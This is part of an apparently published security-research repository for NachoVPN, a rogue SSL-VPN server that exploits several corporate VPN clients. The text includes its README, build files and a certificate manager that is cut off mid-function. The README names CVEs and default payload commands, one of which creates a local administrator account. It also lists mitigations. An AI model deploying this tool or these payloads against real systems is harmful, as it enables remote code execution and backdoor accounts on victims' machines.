[
  {
    "path": ".gitattributes",
    "content": "* text=auto\n*.sh text eol=lf"
  },
  {
    "path": ".github/workflows/build-docker.yml",
    "content": "name: Docker Build\r\n\r\non:\r\n  push:\r\n    branches: ['release']\r\n\r\nenv:\r\n  REGISTRY: ghcr.io\r\n  IMAGE_NAME: ${{ github.repository }}\r\n\r\njobs:\r\n  build-and-push-image:\r\n    runs-on: ubuntu-latest\r\n    permissions:\r\n      contents: read\r\n      packages: write\r\n      attestations: write\r\n      id-token: write\r\n    steps:\r\n      - name: Checkout repository\r\n        uses: actions/checkout@v4\r\n      - name: Log in to the Container registry\r\n        uses: docker/login-action@65b78e6e13532edd9afa3aa52ac7964289d1a9c1\r\n        with:\r\n          registry: ${{ env.REGISTRY }}\r\n          username: ${{ github.actor }}\r\n          password: ${{ secrets.GITHUB_TOKEN }}\r\n\r\n      - name: Extract metadata (tags, labels) for Docker\r\n        id: meta\r\n        uses: docker/metadata-action@9ec57ed1fcdbf14dcef7dfbe97b2010124a938b7\r\n        with:\r\n          images: ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}\r\n          tags: |\r\n            type=ref,event=branch\r\n            type=raw,value=latest\r\n\r\n      - name: Build and push Docker image\r\n        id: push\r\n        uses: docker/build-push-action@f2a1d5e99d037542a71f64918e516c093c6f3fc4\r\n        with:\r\n          context: .\r\n          push: true\r\n          tags: ${{ steps.meta.outputs.tags }}\r\n          labels: ${{ steps.meta.outputs.labels }}"
  },
  {
    "path": ".gitignore",
    "content": "# Ignore virtual environment directories\nenv/\nvenv/\n\n# Ignore environment files\n.env\n\n# Ignore compiled Python files\n*.pyc\n__pycache__/\n\n# Ignore log files and debugging artifacts\n*.log\n\n# Ignore coverage reports\n.coverage\n.coverage.*\nhtmlcov/\n*.cover\n\n# Ignore cache files and directories\n*.egg-info/\n.eggs/\n*.egg\n*.pyo\n*.pyd\n*.pdb\n.cache/\n*.pytest_cache/\n*.zip\n\n# Ignore distribution files\ndist/\nbuild/\n*.wheel\n\n# Ignore your specific directories\ncerts/\ndownloads/\npayloads/\npcaps/\n\n# Ignore testing artifacts\n.tox/\n.nox/\n.pytest_cache/\n\n# Ignore IDE/project-specific files\n.vscode/\n.idea/\n*.iml\n\n# Ignore database files\n*.sqlite3\n*.db\n\n# Ignore temporary files\n*.tmp\n*.swp\n*.swo\n*.bak\n*.orig\n.DS_Store"
  },
  {
    "path": "Dockerfile",
    "content": "FROM ubuntu:jammy\r\nWORKDIR /app\r\n\r\nENV PYTHONDONTWRITEBYTECODE=1\r\nENV PYTHONUNBUFFERED=1\r\n\r\nRUN apt-get update && apt-get install -y --no-install-recommends \\\r\n    gcc \\\r\n    libffi-dev \\\r\n    libssl-dev \\\r\n    osslsigncode \\\r\n    msitools \\\r\n    mingw-w64 \\\r\n    gcc-mingw-w64 \\\r\n    python3 \\\r\n    python3-pip \\\r\n    python-is-python3 \\\r\n    python3-nftables \\\r\n    nftables \\\r\n    && apt-get clean && rm -rf /var/lib/apt/lists/*\r\n\r\nCOPY setup.py .\r\nCOPY MANIFEST.in .\r\nCOPY requirements.txt .\r\nCOPY src/ src/\r\n\r\nRUN pip install --no-cache-dir -r requirements.txt\r\nRUN pip install --no-cache-dir certbot\r\n\r\nRUN python setup.py sdist bdist_wheel\r\nRUN pip install --no-cache-dir dist/*.whl\r\n\r\nEXPOSE 80\r\nEXPOSE 443\r\n\r\nCOPY entrypoint.sh .\r\nRUN chmod +x entrypoint.sh\r\nENTRYPOINT [\"/bin/bash\", \"-c\", \"./entrypoint.sh\"]"
  },
  {
    "path": "LICENSE",
    "content": "MIT License\n\nCopyright (c) 2024 AmberWolf Ltd.\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE."
  },
  {
    "path": "MANIFEST.in",
    "content": "recursive-include src/nachovpn/plugins **/templates/*\r\nrecursive-include src/nachovpn/plugins **/files/*"
  },
  {
    "path": "README.md",
    "content": "# NachoVPN 🌮🔒\n\n<p align=\"center\">\n    <img src=\"logo.png\">\n</p>\n\n<p align=\"center\">\n    <a href=\"LICENSE\" alt=\"License: MIT\">\n        <img src=\"https://img.shields.io/badge/License-MIT-yellow.svg\" /></a>\n</p>\n\nNachoVPN is a Proof of Concept that demonstrates exploitation of SSL-VPN clients, using a rogue VPN server.\n\nIt uses a plugin-based architecture so that support for additional SSL-VPN products can be contributed by the community. It currently supports various popular corporate VPN products, such as Cisco AnyConnect, SonicWall NetExtender, Palo Alto GlobalProtect, and Ivanti Connect Secure.\n\nFor further details, see our [blog post](https://blog.amberwolf.com/blog/2024/november/introducing-nachovpn---one-vpn-server-to-pwn-them-all/), and HackFest Hollywood 2024 presentation [[slides](https://github.com/AmberWolfCyber/presentations/blob/main/2024/Very%20Pwnable%20Networks%20-%20HackFest%20Hollywood%202024.pdf)|[video](https://www.youtube.com/watch?v=-MZfkmcZRVg)].\n\n## Installation\n\n### Prerequisites\n\n* Python 3.9 or later\n* Docker (optional)\n* osslsigncode (Linux only)\n* msitools (Linux only)\n* python3-netfilter (Linux only)\n* git\n\n### Linux Setup\n\nNachoVPN is built and tested on Ubuntu 22.04.\n\n* Install `python3-nftables` and `nftables`\n* Optionally use `setcap` to avoid `sudo` requirement:\n\n  ```bash\n  sudo setcap 'cap_net_raw,cap_net_bind_service,cap_net_admin=eip' /usr/bin/python3.10\n  ```\n\n* Enable IP forwarding:\n\n  ```bash\n  sudo sysctl -w net.ipv4.ip_forward=1\n  ```\n\n### Installing from source\n\nNachoVPN can be installed from GitHub using pip. Note that this requires git to be installed.\n\nFirst, create a virtual environment.\n\nOn Linux, ensure that the virtual env has access to the system `site-packages`, so that `nftables` works:\n\n```bash\npython3 -m venv env --system-site-packages\nsource env/bin/activate\n```\n\nOn Windows, nftables (and thus packet forwarding) is disabled, so use:\n\n```bash\npython -m venv env\n.\\env\\Scripts\\activate\n```\n\nThen, install NachoVPN:\n\n```bash\npip install git+https://github.com/AmberWolfCyber/NachoVPN.git\n```\n\nIf you prefer to use Docker, then you can pull the container from the GitHub Container Registry:\n\n```bash\ndocker pull ghcr.io/AmberWolfCyber/nachovpn:release\n```\n\n## Building for distribution\n\n### Building a wheel file\n\nFirst, clone this repository, and install `setuptools` and `wheel` via pip. You can then run the `setup.py` script:\n\n```bash\ngit clone https://github.com/AmberWolfCyber/NachoVPN\npip install -U setuptools wheel\npython setup.py bdist_wheel\n```\n\nThis will generate a wheel file in the `dist` directory, which can be installed with pip:\n\n```bash\npip install dist/nachovpn-1.0.0-py3-none-any.whl\n```\n\n### Building for local development\n\nAlternatively, for local development you can install the package in editable mode using:\n\n```bash\npip install -e .\n```\n\n### Building a container image\n\nYou can build the container image with the following command:\n\n```bash\ndocker build -t nachovpn:latest .\n```\n\n## Running\n\nTo run the server as standalone, use:\n\n```\npython -m nachovpn.server\n```\n\nAlternatively, you can run the server using Docker:\n\n```bash\ndocker run -e SERVER_FQDN=connect.nachovpn.local -e EXTERNAL_IP=1.2.3.4 -v ./certs:/app/certs -p 80:80 -p 443:443 --rm -it nachovpn\n```\n\nThis will generate a certificate for the `SERVER_FQDN` using certbot, and save it to the `certs` directory, which we've mounted into the container.\n\nAlternatively, for testing purposes, you can skip the certificate generation by setting the `SKIP_CERTBOT` environment variable.\n\nThis will generate a self-signed certificate instead.\n\n```bash\ndocker run -e SERVER_FQDN=connect.nachovpn.local -e SKIP_CERTBOT=1 -e EXTERNAL_IP=1.2.3.4 -p 443:443 --rm -it nachovpn\n```\n\nAn example [docker-compose file](docker-compose.yml) is also provided for convenience.\n\n### Debugging\n\nYou can run `nachovpn` with the `-d` or `--debug` command line arguments in order to increase the verbosity of logging, which can aid in debugging.\n\nAlternatively, if the logging is too noisy, you can use the `q` or `--quiet` command line argument instead.\n\n### Plugins\n\nNachoVPN supports the following plugins and capabilities:\n\n| Plugin | Product | CVE | Windows RCE | macOS RCE | Privileged | URI Handler | Packet Capture | Demo |\n| -------- | ----------- | -------- | -------- | -------- | -------- | -------- | -------- | ---- |\n| Cisco | Cisco AnyConnect | N/A | ✅ | ✅ | ❌ | ❌ | ✅ | [Windows](https://vimeo.com/1024773762) / [macOS](https://vimeo.com/1024773668) |\n| SonicWall | SonicWall NetExtender | [CVE-2024-29014](https://blog.amberwolf.com/blog/2024/november/sonicwall-netextender-for-windows---rce-as-system-via-epc-client-update-cve-2024-29014/) | ✅ | ❌ | ✅ | ✅ | ❌ | [Windows](https://vimeo.com/1024774407) |\n| PaloAlto | Palo Alto GlobalProtect | [CVE-2024-5921](https://blog.amberwolf.com/blog/2024/november/palo-alto-globalprotect---code-execution-and-privilege-escalation-via-malicious-vpn-server-cve-2024-5921/) [(partial fix)](https://blog.amberwolf.com/blog/2025/august/nachovpn-update---palo-alto-globalprotect/) | ✅ | ✅ | ✅ | ❌ | ✅ | [Windows](https://vimeo.com/1024774239) / [macOS](https://vimeo.com/1024773987) / [iOS](https://vimeo.com/1024773956) |\n| PulseSecure | Ivanti Connect Secure | [CVE-2020-8241 (bypassed)](https://blog.amberwolf.com/blog/2025/july/nachovpn-update---ivanti-connect-secure/) | ✅ | ✅ | ✅ | ✅ (Windows only - disabled by default in [22.8R1](https://help.ivanti.com/ps/help/en_US/ISAC/22.X/rn-22.X/noteworthy-information.htm)) | ✅ | [Windows](https://vimeo.com/1024773914) |\n| Netskope | Netskope | [CVE-2025-0309](https://blog.amberwolf.com/blog/2025/august/advisory---netskope-client-for-windows---local-privilege-escalation-via-rogue-server/) | ✅ | ❌ | ✅ | ❌ | ❌ | [Windows](https://vimeo.com/1114191607) |\n| Delinea | Protocol Handler | [CVE-2026-????](https://blog.amberwolf.com/blog/2026/february/delinea-protocol-handler---return-of-the-msi/) | ✅ | ✅ | ❌ | ✅ | ❌ | [Windows](https://vimeo.com/1168821295) |\n\n#### URI handlers\n\n* The Ivanti Connect Secure (Pulse Secure) URI handler can be triggered by visiting the `/pulse` URL on the NachoVPN server.\n* The SonicWall NetExtender URI handler can be triggered by visiting the `/sonicwall` URL on the NachoVPN server. This requires that the SonicWall Connect Agent is installed on the client machine.\n* The Delinea URI handler can be triggered by visiting the `/delinea` URL on the NachoVPN server.\n\n#### Operating Notes\n\n* It is recommended to use a TLS certificate that is signed by a trusted Certificate Authority. The docker container automates this process for you, using certbot. If you do not use a trusted certificate, then NachoVPN will generate a self-signed certificate instead, which in most cases will either cause the client to prompt with a certificate warning, or it will refuse to connect unless you modify the client settings to accept self-signed certificates. For the Palo Alto GlobalProtect plugin, this will also cause the MSI installer to fail.\n* In order to simulate a valid codesigning certificate for the SonicWall plugin, NachoVPN will sign the `NACAgent.exe` payload with a self-signed certificate. For testing purposes, you can download and install this CA certificate from `/sonicwall/ca.crt` before triggering the exploit. For production use-cases, you will need to obtain a valid codesigning certificate from a public CA, sign your `NACAgent.exe` payload, and place it in the `payloads` directory (or volume mount it into `/app/payloads`, if using docker).\n* For convenience, a default `NACAgent.exe` payload is generated for the SonicWall plugin, and written to the `payloads` directory. This simply spawns a new `cmd.exe` process on the current user's desktop, running as `SYSTEM`.\n* The Palo Alto GlobalProtect plugin requires that the MSI installers and `msi_version.txt` file are present in the `downloads` directory. Either add these manually, or run the `msi_downloader.py` script to download them.\n* To perform the Palo Alto GlobalProtect downgrade attack, ensure that the `GlobalProtect.msi.old` and `GlobalProtect64.msi.old` are present in the `downloads` folder. These files should contain the *unmodified* MSI installers for a version *prior* to 6.2.6 (e.g. 6.2.5).\n\n#### Disabling a plugin\n\nTo disable a plugin, add it to the `DISABLED_PLUGINS` environment variable. For example:\n\n```bash\nDISABLED_PLUGINS=CiscoPlugin,SonicWallPlugin\n```\n\n### Environment Variables\n\nNachoVPN is configured using environment variables. This makes it easily compatible with containerised deployments.\n\nGlobal environment variables:\n\n| Variable | Description | Default |\n| -------- | ----------- | ------- |\n| `SERVER_FQDN` | The fully qualified domain name of the server. | `connect.nachovpn.local` |\n| `EXTERNAL_IP` | The external IP address of the server. | `127.0.0.1` |\n| `WRITE_PCAP` | Whether to write captured PCAP files to disk. | `false` |\n| `DISABLED_PLUGINS` | A comma-separated list of plugins to disable. | |\n| `USE_DYNAMIC_SERVER_THUMBPRINT` | Whether to calculate the server certificate thumbprint dynamically from the server (useful if behind a proxy). | `false` |\n| `SERVER_SHA1_THUMBPRINT` | Allows overriding the calculated SHA1 thumbprint for the server certificate. | |\n| `SERVER_MD5_THUMBPRINT` | Allows overriding the calculated MD5 thumbprint for the server certificate. | |\n| `SMB_ENABLED` | Enables the SMB share, available via the tunnel at `\\\\10.10.0.1\\<SMB_SHARE_NAME>` | `false` |\n| `SMB_SHARE_NAME` | The name to use for the SMB share | `SHARE` |\n| `SMB_SHARE_PATH` | The path to the directory to use for the SMB share | `smb` |\n| `TUNNEL_PRIVATE` | When set to `true`, enables tunneling but disables internet forwarding for VPN clients. Clients can only access the SMB share. | `false` |\n| `TUNNEL_FULL` | When set to `true`, enables full tunneling and allows VPN clients to access the internet. Also implies `TUNNEL_PRIVATE=true`. | `false` |\n\nPlugin specific environment variables:\n\n| Variable | Description | Default |\n| -------- | ----------- | ------- |\n| `VPN_NAME` | The name of the VPN profile, which is presented to the client for Cisco AnyConnect. | `NachoVPN` |\n| `PULSE_LOGON_SCRIPT` | The path to the Pulse Secure logon script. | `C:\\Windows\\System32\\calc.exe` |\n| `PULSE_LOGON_SCRIPT_MACOS` | The path to the Pulse Secure logon script for macOS. | |\n| `PULSE_DNS_SUFFIX` | The DNS suffix to be used for Pulse Secure connections. | `nachovpn.local` |\n| `PULSE_USERNAME` | The username to be pre-filled in the Pulse Secure logon dialog. | |\n| `PULSE_SAVE_CONNECTION` | Whether to save the Pulse Secure connection in the user's client. | `false` |\n| `PULSE_ANONYMOUS_AUTH` | Whether to use anonymous authentication for Pulse Secure connections. If set to `true`, the user will not be prompted for a username or password. | `false` |\n| `PULSE_HOST_CHECKER_RULES_FILE` | A JSON file containing a list of registry-based host-checker rules for ICS. See example in `src/nachovpn/plugins/pulse/test/example_rules.json` | |\n| `PALO_ALTO_MSI_ADD_FILE` | The path to a file to be added to the Palo Alto installer MSI. | |\n| `PALO_ALTO_MSI_COMMAND` | The command to be executed by the Palo Alto installer MSI. | `net user pwnd Passw0rd123! /add && net localgroup administrators pwnd /add` |\n| `PALO_ALTO_FORCE_PATCH` | Whether to force the patching of the MSI installer if it already exists in the payloads directory. | `false` |\n| `PALO_ALTO_PKG_COMMAND` | The command to be executed by the Palo Alto installer PKG on macOS. | `touch /tmp/pwnd` |\n| `CISCO_COMMAND_WIN` | The command to be executed by the Cisco AnyConnect OnConnect.vbs script on Windows. | `calc.exe` |\n| `CISCO_COMMAND_MACOS` | The command to be executed by the Cisco AnyConnect OnConnect.sh script on macOS. | `touch /tmp/pwnd` |\n\n## Mitigations\n\nWe recommend the following mitigations:\n\n* Ensure SSL-VPN clients are updated to the latest version available from the vendor.\n* Most VPN clients support the concept of locking down the VPN profile to a specific endpoint, or using an always-on VPN mode. This should be enabled where possible.\n* Unfortunately, in some cases this lockdown can be removed by a malicious local user, therefore it is also recommended to use host-based firewall rules to restrict the IP addresses that the VPN client can communicate with.\n* Consider using an Application Control policy, such as WDAC, or an EDR solution to ensure that only approved executables and scripts can be executed by the VPN client.\n* Detect and alert on VPN clients executing non-standard child processes.\n\n## References\n\n* [AmberWolf Blog: NachoVPN](https://blog.amberwolf.com/blog/2024/november/introducing-nachovpn---one-vpn-server-to-pwn-them-all/)\n* [HackFest Hollywood 2024: Very Pwnable Networks: Exploiting the Top Corporate VPN Clients for Remote Root and SYSTEM Shells, Rich Warren & David Cash](https://github.com/AmberWolfCyber/presentations/blob/main/2024/Very%20Pwnable%20Networks%20-%20HackFest%20Hollywood%202024.pdf) [[video](https://www.youtube.com/watch?v=-MZfkmcZRVg)]\n* [BlackHat 2008: Leveraging the Edge: Abusing SSL VPNs, Mike Zusman](https://www.blackhat.com/presentations/bh-usa-08/Zusman/BH_US_08_Zusman_SSL_VPN_Abuse.pdf)\n* [BlackHat 2019: Infiltrating Corporate Intranet Like NSA, Orange Tsai & Meh Chang](https://i.blackhat.com/USA-19/Wednesday/us-19-Tsai-Infiltrating-Corporate-Intranet-Like-NSA.pdf)\n* [NCC Group: Making New Connections: Leveraging Cisco AnyConnect Client to Drop and Run Payloads, David Cash & Julian Storr](https://www.nccgroup.com/uk/research-blog/making-new-connections-leveraging-cisco-anyconnect-client-to-drop-and-run-payloads/)\n* [The OpenConnect Project](https://www.infradead.org/openconnect/)\n\n## Contributing\n\nWe welcome contributions! Please open an issue or raise a Pull Request.\n\nIf you're interested in developing a new plugin, you can take a look at the [ExamplePlugin](src/nachovpn/plugins/example/plugin.py) to get started.\n\n## License\n\nNachoVPN is licensed under the MIT license. See the [LICENSE](LICENSE) file for details.\n"
  },
  {
    "path": "docker-compose.yml",
    "content": "services:\n  nachovpn:\n    container_name: nachovpn\n    build:\n      context: .\n      dockerfile: Dockerfile\n    restart: unless-stopped\n    ports:\n      - \"443:443\"\n      - \"80:80\"\n    volumes:\n      - ./certs/:/app/certs/\n      - ./payloads/:/app/payloads/\n      - ./downloads/:/app/downloads/\n      - ./payloads/:/app/payloads/\n    environment:\n      - SERVER_FQDN=${SERVER_FQDN:-}\n      - EXTERNAL_IP=${EXTERNAL_IP:-}\n      - SKIP_CERTBOT=${SKIP_CERTBOT:-}\n    networks:\n      - backend\n\nnetworks:\n  backend:"
  },
  {
    "path": "entrypoint.sh",
    "content": "#!/bin/bash\n\n#if [[ -z \"${SERVER_FQDN}\" ]]; then\n#  echo \"Error: SERVER_FQDN is not set or is empty\"\n#  exit 1\n#fi\n\n#if [[ -z \"${EXTERNAL_IP}\" ]]; then\n#  echo \"Error: EXTERNAL_IP is not set or is empty\"\n#  exit 1\n#fi\n\nCERT_PATH=\"/app/certs/server-dns.crt\"\nKEY_PATH=\"/app/certs/server-dns.key\"\n\nif [[ -n \"${SKIP_CERTBOT}\" ]]; then\n  echo \"SKIP_CERTBOT is set. Skipping Certbot execution.\"\nelif [[ -n \"${WEBSITE_HOSTNAME}\" ]]; then\n  echo \"WEBSITE_HOSTNAME is set. Skipping Certbot execution.\"\nelif [[ -f \"$CERT_PATH\" && -f \"$KEY_PATH\" ]]; then\n  echo \"Certificate and key already exist. Skipping Certbot execution.\"\nelse\n  # Request a certificate from letsencrypt\n  certbot certonly \\\n    --standalone \\\n    --preferred-challenges http-01 \\\n    --register-unsafely-without-email \\\n    --agree-tos \\\n    --non-interactive \\\n    --no-eff-email \\\n    --domain \"$SERVER_FQDN\"\n\n  if [[ $? -eq 0 ]]; then\n    echo \"Certificate successfully generated.\"\n\n    # Copy the certs\n    cp \"/etc/letsencrypt/live/$SERVER_FQDN/fullchain.pem\" \"$CERT_PATH\"\n    cp \"/etc/letsencrypt/live/$SERVER_FQDN/privkey.pem\" \"$KEY_PATH\"\n\n    echo \"Certificate and key copied to:\"\n    echo \"  Certificate: $CERT_PATH\"\n    echo \"  Key: $KEY_PATH\"\n  else\n    echo \"Certbot failed to generate the certificate.\"\n    exit 2\n  fi\nfi\n\n# Build CLI arguments\nCLI_ARGS=\"\"\n\n# Check for SERVER_PORT or WEBSITE_HOSTNAME (implies port 80)\nif [[ -n \"${SERVER_PORT}\" ]]; then\n  CLI_ARGS=\"$CLI_ARGS --port $SERVER_PORT\"\nelif [[ -n \"${WEBSITE_HOSTNAME}\" ]]; then\n  CLI_ARGS=\"$CLI_ARGS --port 80\"\nfi\n\n# Check for DISABLE_TLS or WEBSITE_HOSTNAME (implies no TLS)\nif [[ -n \"${DISABLE_TLS}\" || -n \"${WEBSITE_HOSTNAME}\" ]]; then\n  CLI_ARGS=\"$CLI_ARGS --no-tls\"\nfi\n\necho \"Starting nachovpn server with arguments: $CLI_ARGS\"\nexec python -m nachovpn.server $CLI_ARGS"
  },
  {
    "path": "requirements.txt",
    "content": "blinker==1.7.0\ncertifi>=2024.2.2\ncffi==1.16.0\ncharset-normalizer==3.3.2\nclick==8.1.7\ncolorama==0.4.6\ncryptography==42.0.5\nFlask==3.0.2\nidna==3.6\nitsdangerous==2.1.2\nJinja2==3.1.3\nMarkupSafe==2.1.5\npycparser==2.21\nrequests==2.31.0\nurllib3==2.2.1\nWerkzeug==3.0.1\nscapy==2.5.0\npycryptodome==3.20.0\npem==23.1.0\ncabarchive==0.2.4\nPyJWT==2.10.1\npyroute2==0.9.2\nimpacket==0.12.0"
  },
  {
    "path": "setup.py",
    "content": "from setuptools import setup, find_packages\n\nsetup(\n    name=\"nachovpn\",\n    version=\"1.0.0\",\n    package_dir={\"\": \"src\"},\n    packages=find_packages(where=\"src\"),\n    include_package_data=True,\n    install_requires=[\n        \"cryptography==42.0.5\",\n        \"jinja2>=3.0.0\",\n        \"scapy>=2.5.0\",\n        \"requests>=2.31.0\",\n        \"flask>=3.0.2\",\n        \"cabarchive>=0.2.4\",\n        \"pycryptodome>=3.20.0\",\n        \"PyJWT>=2.10.1\",\n        \"pyroute2>=0.9.2\",\n    ],\n    python_requires=\">=3.9\",\n    description=\"A delicious, but malicious SSL-VPN server\",\n    entry_points={\n        \"console_scripts\": [\n            \"nachovpn=nachovpn.server:main\",\n        ],\n    },\n)\n"
  },
  {
    "path": "src/nachovpn/__init__.py",
    "content": ""
  },
  {
    "path": "src/nachovpn/core/__init__.py",
    "content": ""
  },
  {
    "path": "src/nachovpn/core/cert_manager.py",
    "content": "from cryptography import x509\nfrom cryptography.x509.oid import NameOID, ExtendedKeyUsageOID, ObjectIdentifier\nfrom cryptography.hazmat.backends import default_backend\nfrom cryptography.hazmat.primitives import hashes, serialization\nfrom cryptography.hazmat.primitives.asymmetric import rsa, ec, padding\n\nimport logging\nimport datetime\nimport hashlib\nimport ipaddress\nimport socket\nimport certifi\nimport ssl\nimport os\n\nclass CertManager:\n    def __init__(self, cert_dir=os.path.join(os.getcwd(), 'certs'), ca_common_name=\"VPN Root CA\"):\n        self.cert_dir = cert_dir\n        os.makedirs(cert_dir, exist_ok=True)\n        self.ca_common_name = ca_common_name\n        self.server_thumbprint = {}\n        self.dns_name = os.getenv('SERVER_FQDN', socket.gethostname())\n        self.ip_address = os.getenv('EXTERNAL_IP', socket.gethostbyname(socket.gethostname()))\n\n    def setup(self):\n        \"\"\"Setup the certificates and load the SSL context\"\"\"\n        self.load_ca_certificate()\n        self.load_dns_certificate()\n        self.load_ip_certificate()\n        self.create_ssl_context()\n\n        # server thumbprint is a dictionary with sha1 and md5 hashes of the DNS cert\n        self.server_thumbprint = self.get_cert_thumbprint(self.dns_cert_path)\n\n    def create_ssl_context(self):\n        \"\"\"Create SSL context with SNI support and proper TLS configuration\"\"\"\n        self.ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)\n\n        def sni_callback(sslsocket, sni_name, sslcontext):\n            try:\n                if not sni_name:\n                    sslsocket.context = self.ssl_context\n                    return None\n\n                logging.debug(f\"SNI hostname requested: {sni_name}\")\n\n                # Create a new context for this connection\n                ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)\n\n                if sni_name == self.dns_name:\n                    ctx.load_cert_chain(self.dns_cert_path, self.dns_key_path)\n                else:\n                    ctx.load_cert_chain(self.ip_cert_path, self.ip_key_path)\n\n                # Set the new context\n                sslsocket.context = ctx\n\n            except Exception as e:\n                logging.error(f\"Error in SNI callback: {e}\")\n            return None\n\n        # Set the SNI callback\n        self.ssl_context.sni_callback = sni_callback\n\n        # Load default certificate (IP cert)\n        self.ssl_context.load_cert_chain(\n            certfile=self.ip_cert_path, \n            keyfile=self.ip_key_path\n        )\n\n        return self.ssl_context\n\n    def load_ip_certificate(self):\n        \"\"\"Load or generate a certificate for the server's external IP address\"\"\"\n        self.ip_cert_path = os.path.join(self.cert_dir, f\"server-ip.crt\")\n        self.ip_key_path = os.path.join(self.cert_dir, f\"server-ip.key\")\n        if os.path.exists(self.ip_cert_path) and os.path.exists(self.ip_key_path) \\\n            and self.cert_is_valid(self.ip_cert_path, self.ip_address):\n            logging.info(f\"Using existing certificate for: {self.ip_address}\")\n            return self.ip_cert_path, self.ip_key_path\n        else:\n            logging.info(f\"Generating new certificate for: {self.ip_address}\")\n        return self.generate_server_certificate(self.ip_cert_path, self.ip_key_path, self.ip_address,\n                                        additional_ekus=[ObjectIdentifier('1.3.6.1.5.5.7.3.5')],\n                                        additional_sans=[x509.IPAddress(ipaddress.IPv4Address(self.ip_address)),\n                                                        x509.DNSName(self.dns_name)])\n\n    def load_dns_certificate(self):\n        \"\"\"Load or generate a certificate for the server's DNS name\"\"\"\n        # this certificate may be volume mounted (e.g. when using certbot outside of the container)\n        self.dns_cert_path = os.path.join(self.cert_dir, f\"server-dns.crt\")\n        self.dns_key_path = os.path.join(self.cert_dir, f\"server-dns.key\")\n        if os.path.exists(self.dns_cert_path) and os.path.exists(self.dns_key_path) \\\n            and self.cert_is_valid(self.dns_cert_path, self.dns_name):\n            logging.info(f\"Using existing certificate for: {self.dns_name}\")\n            return self.dns_cert_path, self.dns_key_path\n        else:\n            logging.info(f\"Generating new certificate for: {self.dns_name}\")\n        return self.generate_server_certificate(self.dns_cert_path, self.dns_key_path, self.dns_name, \n                                        additional_sans=[x509.DNSName(self.dns_name)])\n\n    def load_ca_certificate(self):\n        \"\"\"Load or generate the CA certificate\"\"\"\n        self.ca_cert_path = os.path.join(self.cert_dir, 'ca.crt')\n        self.ca_key_path = os.path.join(self.cert_dir, 'ca.key')\n        if os.path.exists(self.ca_cert_path) and os.path.exists(self.ca_key_path):\n            with open(self.ca_cert_path, 'rb') as f:\n                self.ca_cert = x509.load_pem_x509_certificate(f.read(), default_backend()) \n            with open(self.ca_key_path, 'rb') as f:\n                self.ca_key = serialization.load_pem_private_key(f.read(), password=None, backend=default_backend())\n            return self.ca_cert_path, self.ca_key_path\n        else:\n            return self.generate_ca_certificate()\n\n    def cert_is_valid(self, cert_path, common_name):\n        \"\"\"Check if the certificate is valid\"\"\"\n\n        # skip certificate validation if we're overriding the thumbprint or retrieving it dynamically from the server\n        # this allows us to keep serving our origin certificate while advertising the proxy thumbprint\n        # this is needed for certain proxies which require the origin has a valid certificate\n        # if we didn't do this, the cert manager would detect a mismatch and re-generate the certificate\n        if os.getenv('USE_DYNAMIC_SERVER_THUMBPRINT', 'false').lower() == 'true' or \\\n            os.getenv('SERVER_SHA1_THUMBPRINT', '') != '' or \\\n            os.getenv('SERVER_MD5_THUMBPRINT', '') != '':\n            return True\n\n        with open(cert_path, 'rb') as f:\n            cert = x509.load_pem_x509_certificate(f.read(), default_backend())\n\n        date_valid = (cert.not_valid_before_utc \\\n            <= datetime.datetime.now(datetime.timezone.utc) \\\n            <= cert.not_valid_after_utc)\n\n        if not date_valid:\n            logging.error(f\"Certificate for {common_name} is expired\")\n            return False\n\n        cert_common_name = cert.subject.get_attributes_for_oid(NameOID.COMMON_NAME)[0].value\n        name_valid = cert_common_name == common_name\n\n        if not name_valid:\n            logging.error(f\"Certificate for {cert_common_name} is not valid for {common_name}\")\n            return False\n\n        # check if the issuer Common Name matches our self-signed CA\n        # if the issuer name matches, but the cert is not validly signed by the current CA, return False\n        # this helps to identify stale certificates when the CA certificate has been re-generated\n        if cert.issuer.get_attributes_for_oid(NameOID.COMMON_NAME)[0].value == self.ca_common_name:\n            try:\n                self.ca_cert.public_key().verify(\n                    cert.signature,\n                    cert.tbs_certificate_bytes,\n                    padding.PKCS1v15(),\n                    cert.signature_hash_algorithm,\n                )\n                logging.info(f\"Certificate is validly signed by our CA. Will not re-generate.\")\n            except Exception as e:\n                logging.warning(f\"Certificate is not validly signed by the current CA: {e}. Will re-generate.\")\n                return False\n        else:\n            # if the cert wasn't issued by our CA, then it's probably been signed by a public CA,\n            # such as Let's Encrypt, and we should not re-generate it.\n            # TODO: we may wish to check that the cert chains to a trusted root CA in the future,\n            # but it doesn't really matter for our use case\n            logging.warning(f\"Certificate was not issued by our CA. Will not re-generate.\")\n            return True\n\n        return True\n\n    def get_thumbprint_from_server(self, server_address):\n        \"\"\"Get the certificate thumbprint from a server\"\"\"\n        try:\n            context = ssl.create_default_context()\n            with socket.create_connection((server_address, 443), timeout=5) as sock:\n                with context.wrap_socket(sock, server_hostname=server_address) as wrapped_sock:\n                    der_cert = wrapped_sock.getpeercert(binary_form=True)\n                    thumbprint_sha1 = hashlib.sha1(der_cert).hexdigest().upper()\n                    thumbprint_md5 = hashlib.md5(der_cert).hexdigest().upper()\n                    return {'sha1': thumbprint_sha1, 'md5': thumbprint_md5}\n        except (socket.timeout, ssl.SSLError, ssl.CertificateError, OSError) as e:\n            logging.error(f\"Error getting thumbprint from server {server_address}: {e}\")\n            return None\n\n    def get_cert_thumbprint(self, cert_path):\n        \"\"\"Calculate the certificate thumbprint\"\"\"\n        with open(cert_path, 'rb') as f:\n            cert = 